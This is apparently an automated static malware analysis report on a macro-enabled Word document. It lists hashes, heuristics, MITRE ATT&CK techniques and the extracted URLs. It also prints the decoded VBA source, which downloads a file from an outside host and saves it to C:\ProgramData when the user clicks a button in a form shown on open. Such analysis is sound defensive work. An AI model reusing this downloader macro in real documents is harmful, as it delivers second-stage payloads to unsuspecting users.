Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 47e751a79f5e4420…

MALICIOUS

Office (OOXML)

23.7 KB Created: 2020-10-05 06:09:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-16
MD5: 65650a352ba8bd965f51772e27b34200 SHA-1: 7308bd592049d9c883f58c8d38abcbcb0777bff5 SHA-256: 47e751a79f5e4420e3c9cb1da12914c9516ebd9d714e1f4d8fac00f70e869bcf
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

This OOXML document contains a VBA project with a Document_Open macro that executes when the document is opened. The macro uses CreateObject and CallByName to download a file from 'https://v133-18-205-161.vir.kagoya.net/training/hello_world.txt' and saves it as 'C:\ProgramData\hello_world.txt'. This indicates a spearphishing attachment attack pattern designed to download and execute a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://v133-18-205-161.vir.kagoya.net/training/hello_world.txtIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1404 bytes
SHA-256: 39dbae61a2cfefc88195a5adfa41001018933fa92e9c1383fbd1615d8126af8c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
    UserForm1.Show
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{D68A651E-E92C-45A0-AE2B-B98C6CEE95EB}{343C25F3-1097-47FA-8934-37E30484E382}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
    Dim WinHttpReq As Object
    Dim oStream As Object
    Set WinHttpReq = CreateObject("MSXML2.XMLHTTP.6.0")
    WinHttpReq.Open "GET", "https://v133-18-205-161.vir.kagoya.net/training/hello_world.txt", False
    WinHttpReq.setRequestHeader "Cache-Control", "no-cache"
    WinHttpReq.setRequestHeader "Accept", "*/*"
    WinHttpReq.Send

    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.ResponseBody
        CallByName oStream, "SaveToFile", VbMethod, "C:\ProgramData\hello_world.txt", 2
        oStream.Close
    End If

    Unload UserForm1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22528 bytes
SHA-256: 9254aba03c6ddfd7cc1bcff36bf891c9e97b12eb079d895f18f1657edfffab16